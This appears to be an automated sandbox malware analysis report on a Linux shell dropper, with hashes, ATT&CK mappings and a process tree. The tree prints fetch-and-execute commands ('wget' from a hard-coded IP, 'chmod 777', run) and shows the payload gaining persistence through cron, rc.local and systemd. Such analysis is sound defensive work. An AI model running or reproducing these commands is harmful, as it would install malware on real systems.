a6d87ca41c596e3f8a06ce4cc6105cc2e5a133fca49da4d78d16116f298dd931

Analysis

max time kernel
149s
max time network
97s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/08/2026, 19:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 835B
Sample260809-yjb28scb82
SHA256 a6d87ca41c596e3f8a06ce4cc6105cc2e5a133fca49da4d78d16116f298dd931
MD5 182d3a073ea8eb042ed39ad83029fd7c
SHA1 2a8c9ac171adc7b489e77373aac45606f54cd0c6
SHA512 d3d1b6bda5690c366774dfa908e1830b33c56f43fb55d0fabc25c337d98f3e44d31a488108c3f52d66209edcc889e07fb5cea0810a952794cac7d85a0dac2699
TLSH
T1DD016BD69250AA104069D95E62D666D0F431C3C6454B0FB8BF9C942FAB9CE04B026F98
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
808	chmod
825	chmod
832	chmod
836	chmod
783	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/VOgA	785	p.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	VOgA
File opened for modification	/etc/crontab	VOgA

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	VOgA

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	VOgA

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/321/exe	VOgA
File opened for reading	/proc/136/cmdline	VOgA
File opened for reading	/proc/305/cmdline	VOgA
File opened for reading	/proc/805/exe	VOgA
File opened for reading	/proc/816/cmdline	VOgA
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/17/cmdline	VOgA
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/839/exe	VOgA
File opened for reading	/proc/892/exe	VOgA
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/291/exe	VOgA
File opened for reading	/proc/870/exe	VOgA
File opened for reading	/proc/214/exe	VOgA
File opened for reading	/proc/787/cmdline	VOgA
File opened for reading	/proc/871/exe	VOgA
File opened for reading	/proc/886/cmdline	VOgA
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/787/exe	VOgA
File opened for reading	/proc/12/cmdline	VOgA
File opened for reading	/proc/653/cmdline	VOgA
File opened for reading	/proc/835/exe	VOgA
File opened for reading	/proc/866/exe	VOgA
File opened for reading	/proc/76/cmdline	VOgA
File opened for reading	/proc/810/cmdline	VOgA
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/908/exe	VOgA
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/596/exe	VOgA
File opened for reading	/proc/807/exe	VOgA
File opened for reading	/proc/812/exe	VOgA
File opened for reading	/proc/818/cmdline	VOgA
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/14/cmdline	VOgA
File opened for reading	/proc/820/cmdline	VOgA
File opened for reading	/proc/846/cmdline	VOgA
File opened for reading	/proc/859/exe	VOgA
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/24/cmdline	VOgA
File opened for reading	/proc/844/cmdline	VOgA
File opened for reading	/proc/20/cmdline	VOgA
File opened for reading	/proc/599/cmdline	VOgA
File opened for reading	/proc/862/exe	VOgA
File opened for reading	/proc/875/cmdline	VOgA
File opened for reading	/proc/876/cmdline	VOgA
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/276/exe	VOgA
File opened for reading	/proc/157/cmdline	VOgA
File opened for reading	/proc/214/cmdline	VOgA
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/652/cmdline	VOgA
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/42/cmdline	VOgA
File opened for reading	/proc/643/cmdline	VOgA
File opened for reading	/proc/853/exe	VOgA
File opened for reading	/proc/898/exe	VOgA

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/p	p.sh
File opened for modification	/tmp/VOgA	wget

/tmp/p.sh
/tmp/p.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:655
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:656
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:661
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  PID:666
- /bin/ls
  ls -l /proc/108/exe
  2⤵
  - Reads runtime system information
  PID:674
- /bin/ls
  ls -l /proc/109/exe
  2⤵
  - Reads runtime system information
  PID:678
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:680
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:682
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:684
- /bin/ls
  ls -l /proc/136/exe
  2⤵
  PID:687
- /bin/ls
  ls -l /proc/137/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/156/exe
  2⤵
  PID:692
- /bin/ls
  ls -l /proc/157/exe
  2⤵
  PID:694
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/160/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/170/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:702
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/214/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/276/exe
  2⤵
  PID:711
- /bin/ls
  ls -l /proc/277/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/291/exe
  2⤵
  PID:715
- /bin/ls
  ls -l /proc/296/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/302/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/305/exe
  2⤵
  PID:719
- /bin/ls
  ls -l /proc/319/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/321/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/326/exe
  2⤵
  PID:722
- /bin/ls
  ls -l /proc/345/exe
  2⤵
  PID:723
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:724
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:725
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:726
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:727
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:728
- /bin/ls
  ls -l /proc/575/exe
  2⤵
  - Reads runtime system information
  PID:729
- /bin/ls
  ls -l /proc/594/exe
  2⤵
  PID:730
- /bin/ls
  ls -l /proc/596/exe
  2⤵
  PID:731
- /bin/ls
  ls -l /proc/599/exe
  2⤵
  PID:732
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:735
- /bin/ls
  ls -l /proc/606/exe
  2⤵
  PID:737
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  PID:739
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  PID:743
- /bin/ls
  ls -l /proc/649/exe
  2⤵
  PID:746
- /bin/ls
  ls -l /proc/651/exe
  2⤵
  - Reads runtime system information
  PID:747
- /bin/ls
  ls -l /proc/652/exe
  2⤵
  - Reads runtime system information
  PID:750
- /bin/ls
  ls -l /proc/653/exe
  2⤵
  PID:752
- /bin/ls
  ls -l /proc/654/exe
  2⤵
  PID:754
- /bin/ls
  ls -l /proc/655/exe
  2⤵
  PID:756
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:758
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  PID:761
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:763
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:765
- /bin/ls
  ls -l /proc/97/exe
  2⤵
  PID:767
- /bin/rm
  rm -rf VOgA
  2⤵
  PID:769
- /usr/bin/wget
  wget http://129.121.110.105/VOgA
  2⤵
  - Writes file to tmp directory
  PID:771
- /bin/chmod
  chmod 777 VOgA
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/VOgA
  ./VOgA pdvr
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Reads runtime system information
  PID:785
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:805
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:806
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:806
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:806
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:806
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:805
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:806
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:805
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:805
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:805
- /bin/rm
  rm -rf vJB
  2⤵
  PID:792
- /usr/bin/wget
  wget http://129.121.110.105/vJB
  2⤵
  PID:804
- /bin/chmod
  chmod 777 vJB
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/vJB
  ./vJB pdvr
  2⤵
  PID:809
- /bin/rm
  rm -rf sCy
  2⤵
  PID:810
- /usr/bin/wget
  wget http://129.121.110.105/sCy
  2⤵
  PID:812
- /bin/chmod
  chmod 777 sCy
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/sCy
  ./sCy pdvr
  2⤵
  PID:828
- /bin/rm
  rm -rf ZTMe
  2⤵
  PID:830
- /usr/bin/wget
  wget http://129.121.110.105/ZTMe
  2⤵
  PID:831
- /bin/chmod
  chmod 777 ZTMe
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/ZTMe
  ./ZTMe pdvr
  2⤵
  PID:833
- /bin/rm
  rm -rf JPO
  2⤵
  PID:834
- /usr/bin/wget
  wget http://129.121.110.105/JPO
  2⤵
  PID:835
- /bin/chmod
  chmod 777 JPO
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/JPO
  ./JPO pdvr
  2⤵
  PID:837
- /bin/rm
  rm -rf p
  2⤵
  PID:838

/bin/systemctl
systemctl daemon-reload
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:805

/bin/systemctl
systemctl enable crond.service
1⤵
- Enumerates kernel/hardware configuration
PID:806

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 31B
SHA256 7098e083b3bf320d9f69ac069d67efe4d66a8b372355c7d553674556390f64eb
MD5 47e80ca48a51605331ce2c075003ccc3
SHA1 ae479f31aa9199f42dca17e42e749461274920d4
SHA512 8f4a0dc8a63b8ad6016b92525b2b0a2dc203a2fb656cae102335933536f476c6f05d3f3a4c471bd97fb5d02c8ed5c89825492a912bbc1d387c88f169786563d9
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 35B
SHA256 f1a42623a0c66352f901d078b4f47649359558a0db683bc59e06c0cc3e3bc6e6
MD5 b8060a4a31b18dcb338b8498d85d4110
SHA1 d039d0e0e2e7761d3a8d6cf67633f10306321011
SHA512 32bb3b245ad915bca2ef9dfa588d93a3b783199690479fb05e460587dd4d4ca64c0d6679eb3678f54708be9093c225976feec1243eecc72b57412ca7df36ead2
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 194B
SHA256 dd94c59fa249fc55744088f91b89c42e3d95904397fc9871d598a7fa8527590f
MD5 af71642c3eb8234708aecb7d05ea1584
SHA1 579d4c3c8a65f0ceb35d59984fd9f6ddcf4cecbd
SHA512 6b08fc578eb09edc9eeb82519ba3926f9afb3953ba98c3380b810a92e2e9d068c7c7a2e0f1e44a53f1af92a87c47bc18c7de67d6252557d2c07c156b9b415b18
TLSH
T1D0C02223956124A4898F3AA3AEE32B448CA112000ACF92B80BC018292EF20E71125DEE
MD5 SHA1 SHA512 TLSH

Submit Download

VOgA

Path /tmp/VOgA
Size 73KB
SHA256 2810477e76cade3734fb44ae49a2647d7cc0fe1320ad7d47e29beec540c6812d
MD5 d2e61056d5c15d0855e669b5b0c2100d
SHA1 edf943919a5bdd41dc8bb7f96960dff18976b24f
SHA512 3130fc2242be16ba82667dd2c47020edfefca8d6c1fcecaaf7f11a625c21fd4a61b8367c3e0548c747e2a08a7480e26eecf1dde753ea507eb4063b52c6684a04
SSDEEP 1536:6gL/o+aeBmgYUkOTWNZHfK9fTVyNcYYvQnxPZcrFpFWE20Q81:6gL/hyg06WN9fK9fTV9PQxhYFpFWE2v
TLSH
T137731969B9818F1BC2C11637FF1E8349331723B8E3DB7112DE156F21739B62A0E2A955
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads